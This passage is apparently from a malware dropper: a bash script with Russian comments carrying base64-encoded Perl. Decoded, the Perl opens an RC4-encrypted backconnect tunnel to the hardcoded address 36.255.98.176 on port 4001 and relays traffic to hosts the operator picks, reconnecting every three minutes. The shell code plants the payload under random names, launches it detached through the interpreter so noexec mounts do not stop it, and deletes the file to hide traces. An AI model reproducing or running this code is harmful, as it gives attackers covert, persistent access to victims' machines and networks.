PSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkgQHNvY2tldGFycmF5OwoJIAoJIG15ICRidWZmZXIgPSAiXHgwMCIgeCAxMDA7CgkgCgkgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJIAoJIG15ICRidWZmZXIwID0gIlx4MDAiIHggNjU1MzY7CgkgCgkgbXkgJGJ1ZmZlcjEgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNFeGl0ID0gMDsKCSAKCSBteSAkX3JldDAgPSAwOwoJIAoJIG15ICRlY3ggPSAwOwoJIAoJIG15ICRlYXggPSAwOwoJIAoJIG15ICRkYXRhID0gMDsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7ICRzb2NrZXRhcnJheVskaV0gPSAwOyB9CgkgCgkgbXkgJHJlc3BvbmNlID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJIAoJIHNvY2tldCgkc29ja2V0YXJyWzBdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkgCgkgc2V0c29ja29wdCgkc29ja2V0YXJyWzBdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKICAgICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1NOREJVRiwgNjU1MzYpOwoJIAoJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCQkcG9ydCwgaW5ldF9hdG9uKCQkaG9zdCkpOwoJIAoJIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRkcikpIHsgZ290byBjbG9zZTA7IH0KCSAKCSBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDUwLCAyKSA9ICJceEZGXHhGRiI7CgkgCgkgc3Vic3RyKCRidWZmZXIsIDU0LCAxMSkgPSAiR09PRFBFUkwiOwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgNTAsIDUwKTsKCSAKCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbJGldLCAkYnVmZmVyMSwgNjU1MzAsIDMpOwoJCQkJIAoJCQkJCSB1bmxlc3MgKCRkYXRhKSB7CgkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRpXSA9IDA7CgkJCQkJIAoJCQkJCQkgY2xvc2UoJHNvY2tldGFyclskaV0pOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRpOwoJCSAKCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCQkgCgkJCQkJCSB2ZWMoJGJ1ZmZlcjEsIDAsIDgpID0gJGk7CgkJCQkJCSAKCQkJCQkJIHZlYygkc3RyX3dlYywgMCwgMTYpID0gJGRhdGE7CgkJCQkJCSAKCQkJCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJzdHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkJCQkgCgkJCQkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vic3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMCwgMyk7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMSwgMywgJGRhdGEpOwoJCQkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjEsIDMgKyAkZGF0YSk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMDEpOwoJCQkgCgkJCSBuZXh0IGlmICgkcmV0IDwgMCk7CgkJCSAKCQkJIGlmICgkcmV0ID09IDApIHsKCQkJCSAKCQkJCSAkY291bnRlcisrOwoJCQkJIAoJCQkJIGlmICgkY291bnRlciA9PSAxMDAgKiA2MCkgewoJCQkJCSAKCQkJCQkgJGNvdW50ZXIgPSAwOwoKCQkJCQkgbGFzdCBpZiAoc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSBuZSAiXHgwMFx4MDBceDAwIik7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmcgIT0gMCk7CgkJCQkgCgkJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKCQkJCSAKCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCkpOwoJCQkJIH0KCQkJCSAKCQkJCSBuZXh0OwoJCQl9CgkJCSAKCQl9CgkJIAoJCSBpZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKCQkJIAoJCQkgaWYgKCRlZHggPT0gMCkgewoJCQkJIAoJCQkJIGlmIChzdWJzdHIoJGJ1ZmZlcjAsIDAsIDEpIGVxICJceEZGIiAmJiBzdWJzdHIoJGJ1ZmZlcjAsIDEsIDEpIGVxICJceEZFIikgewoJCQkJCSAKCQkJCQkgJGlzRXhpdCA9IDE7CgkJCQkJIAoJCQkJCSBsYXN0OwoJCQkJCSAKCQkJCX0KCQkJCSAKCQkJCSBlbHNpZiAoJGVieCA8IDIwMCAmJiAkZWJ4ID4gMCAmJiAkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewoJCQkJIAoJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCQkJCSAKCQkJCQkgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgkJCQkJIAoJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJIAoJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2UsIDMsIDApOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRyZW1haW5pbmcgKyA0KTsKCQkJCQoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJIAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFpbmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgNCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAwKSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgJF9yZXQwID0gMDsKCQkJCQkJIAoJCQkJCQkgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCQkJCQkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMTMpID0gIlx4MDBceDBBXHgwMFx4MDVceDAxXHgwMFx4MDFceDAwXHgwMFx4MDBceDAwXHgwMFx4MDAiOwoJCQkJCQkgCgkJCQkJCSB2ZWMoJHJlc3BvbmNlLCAwLCA4KSA9ICRlYng7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19SQ1ZCVUYsIDY1NTM2KTsKCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCA2NTUzNik7CgkJCQkJCSAKCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIHwgT19OT05CTE9DSyk7CgkJCQkJCSAKCQkJCQkJIGlmICh2ZWMoJGJ1ZmZlcjAsIDcsIDgpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKCRidWZmZXIwLCA4LCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB2ZWMoJGJ1ZmZlcjAsIDgsIDgpICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgOSArIHZlYygkYnVmZmVyMCwgOCwgOCkgKyAxLCAxKTsKCQkJCQkJCgkJCQkJCQkgJHBvcnQwID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzaWYgKHZlYygkYnVmZmVyMCwgNywgOCkgPT0gMSkgewoJCQkKCQkJCQkJCSAkZG9tYWluID0gc3ByaW50ZigiJWQuJWQuJWQuJWQiLCB2ZWMoJGJ1ZmZlcjAsIDggKyAwLCA4KSwgdmVjKCRidWZmZXIwLCA4ICsgMSwgOCksIHZlYygkYnVmZmVyMCwgOCArIDIsIDgpLCB2ZWMoJGJ1ZmZlcjAsIDggKyAzLCA4KSk7CgkJCQoJCQkJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSk7CgkJCQkJCQkgCgkJCQkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKTsKCQkJCQkJCSAKCQkJCQkJCSAkcG9ydDAgPSAgdmVjKCRzdHJfd2VjLCAwLCAxNik7CgkJCQoJCQkJCQkgfQoJCQoJCQkJCQkgZWxzZSB7CgkJCQoJCQkJCQkJIGdvdG8gY2xvc2VfOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBldmFsIHsKCQkJIAoJCQkJCQkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0MCwgaW5ldF9hdG9uKCRkb21haW4pKTsKCQkKCQkJCQkJCSBjb25uZWN0KCRzb2NrZXRhcnJbJGVieF0sICRwYWRkcik7CgkJIAoJCQkJCQkJIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAxOwoKCQkJCQkJCSB1bmxlc3MgKHNlbGVjdCh1bmRlZiwgJHdpbiwgdW5kZWYsIDEpKSB7IGdvdG8gY2xvc2VfOyB9CgkJCQoJCQkJCQkJIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CgkJIAoJCQkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDQsIDEpID0gIlx4MDAiOwoJCSAKCQkJCQkJCSAkX3JldDAgPSAxOwoJCQkgCgkJCQkJCSB9OwoJCSAKCQkJCQkJIGNsb3NlXzoKCQkJCQkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkJIAoJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSk7CgkJCQkJCSAKCQkJCQkJIGlmICgkX3JldDAgPT0gMCkgewoJCQkJCQkJIAoJCQkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJIAoJCQkJCQkJIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoJCQkJCQkJIAoJCQkJCQkJIHZlYygkcmVzcG9uY2UsIDAsIDgpID0gJGVieDsKCQkJCQkJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCAxLCAyKSA9ICJceDAwXHgwMCI7CgkJIAoJCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCQkgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCAzLCAwKTsKCQkJCQkJCSAKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCX0KCQkJCQkKCQkJCQkgZWxzaWYgKCRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkJCSAKCQkJCQkJIHN5c3dyaXRlKCRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwLCAkcmVtYWluaW5nLCA0KTsKCQkJCQkJIAoJCQkJCQkgCgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkgCgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHZlYygkYnVmZmVyMCwgMSwgOCk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMywgMSk7CgkJCQkgCgkJCQkgc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9IHN1YnN0cigkYnVmZmVyMCwgMiwgMSk7CgkJCQkgCgkJCQkgJGVkeCA9IHZlYygkc3RyX3dlYywgMCwgMTYpOwoJCQkgCgkJCQkgJF9yZXQgPSAxOwoJCQl9CgkJCQoJCX0KCX0KCQoJIGNsb3NlMDoKCSAKCSBjbG9zZSgkc29ja2V0YXJyWzBdKTsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsKCgkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CgkJIAoJIH0KCSAKCSBpZiAoJGlzRXhpdCA9PSAxKSB7IGV4aXQ7IH0KCSAKCSByZXR1cm4gJF9yZXQ7Cgp9Cgp3aGlsZSgxKQp7CgkgYmNjbmN0KFwkaG9zdCwgXCRwb3J0KTsKCSAKCSBzbGVlcCAxODA7Cn0K B64_END if [ -s "$fpath" ]; then # Подготовка прав chmod 755 "$fpath" sync # === ЗАПУСК === if [ "$method" == "native" ]; then # МЕТОД 1: NATIVE (./script) - самый быстрый и "правильный" # Патчим путь к перлу в первой строке файла sed -i "1s|^#!.*|#!$perl_bin|" "$fpath" # Запускаем: nohup, фон, подавление вывода nohup "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла else # МЕТОД 2: INTERPRETER (perl script) - обходит noexec # Запускаем интерпретатор явно nohup "$perl_bin" "$fpath" >/dev/null 2>&1 & disown # Полная отвязка от шелла fi # === САМОУНИЧТОЖЕНИЕ ФАЙЛА === # Запускаем отдельный процесс, который поспит и удалит файл (sleep 10; rm -f "$fpath") >/dev/null 2>&1 & disown fi } f_93663bdd() { local use_gold=$1 local idx=$2 local perl_bin="$3" local workdir="" local method="" # Выбираем папку из нужного списка if [ "$use_gold" = "true" ]; then workdir="${gold_dirs[$idx]}" method="native" else workdir="${silver_dirs[$idx]}" method="interpreter" fi # Защита от пустых путей if [ -z "$workdir" ]; then return; fi local rname="$(gen_rand_name).pl" local fpath="$workdir/$rname" # Распаковка Base64 base64 -d <<'B64_END' > "$fpath" IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZfR0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzM2LjI1NS45OC4xNzYnOwpteSAkcG9ydCA9IDQwMDE7CgpteSAkeG9yZGF0YSA9ICJceDAwIiB4IDUwOwoKZm9yIChteSAkaSA9IDA7ICRpIDwgNTA7ICRpKyspIHsgdmVjKCR4b3JkYXRhLCAkaSwgOCkgPSBpbnQocmFuZCgyNTUpKTsgfQoKc3ViIFJjNF9jcnlwdCB7CgkgCgkgbXkgJHBhc3N3ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5ndGggPSBzaGlmdChAXyk7CgkgCgkgbXkgJGJ1ZmYwID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzdGFydCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3ogPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJjNCA9ICJceDAwIiB4IDI1NjsKCSAKCSBteSAkcG9ja2Vtb24wID0gMDsKCQoJIG15ICRwb2NrZW1vbjEgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMiA9IDA7CgkKCSBteSAkcG9ja2Vtb24zID0gMDsKCQoJIG15ICRwb2NrZW1vbjQgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNyA9IDA7CgkKCSBteSAkcG9ja2Vtb244ID0gMDsKCSAKCSBteSAkcmN4ID0gJHN6OwoJIAoJIG15ICRyc2kgPSAwOwoJIAoJIG15ICRyYnggPSAwOwoJIAoJIG15ICRncyA9IDA7CgkgCgkgdmVjKCRyYzQsICRfLCA4KSA9ICRfIGZvciAwLi4yNTU7CgkgCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQoJCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRncyA9PSAwKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIgPSAwOwoKCQkJICRwb2NrZW1vbjMgPSAkbGVuZ3RoOwoJCX0KCQkgCgkJIGlmICgkZ3MgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAwOwoKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSBpZiAoLS0kcG9ja2Vtb24zID09IDApIHsgbmV4dDsgfQoJCQkgCgkJfQoJCQoJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwoJCSAKCQkgJHBvY2tlbW9uMSArPSB2ZWMoJCRwYXNzdywgJHBvY2tlbW9uMiwgOCk7CgoJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpOwoKCQkgdmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KTsKCQkJIAoJCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkJICRwb2NrZW1vbjggPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24yLCA4KSA9ICRwb2NrZW1vbjg7CgkJCSAKCQkJIHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KSA9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwoJCgkJCSAkcG9ja2Vtb244ID0gJHBvY2tlbW9uOCAmIDI1NTsKCQkJIAoJCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpID0gdmVjKCRyYzQsICRwb2NrZW1vbjgsIDgpIF4gdmVjKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDgpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgdmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpID0gKHZlYygkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCA4KSBeIHZlYygkJHBhc3N3LCAkcmJ4LCA4KSk7CgkJIAoJCSAkcnNpKys7CgkJCgkJICRyYngrKzsKCQkKCQkgJHJjeC0tOwoJCQoJCSBpZiAoJHJieCA9PSAkbGVuZ3RoKSB7CgkJCSAKCQkJICRyYnggPSAwOwoJCX0KCQkgCgl9IHdoaWxlKCRyY3ggPiAwKTsKCQp9CgpzdWIgYmNjbmN0IHsKCgkgbXkgJGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJlbWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15ICRkb21haW47CgkgCgkgbXkgJHBvcnQwOwoJIAoJIG15IEBzb2NrZXRhcnI7CgkgCgkgbXkg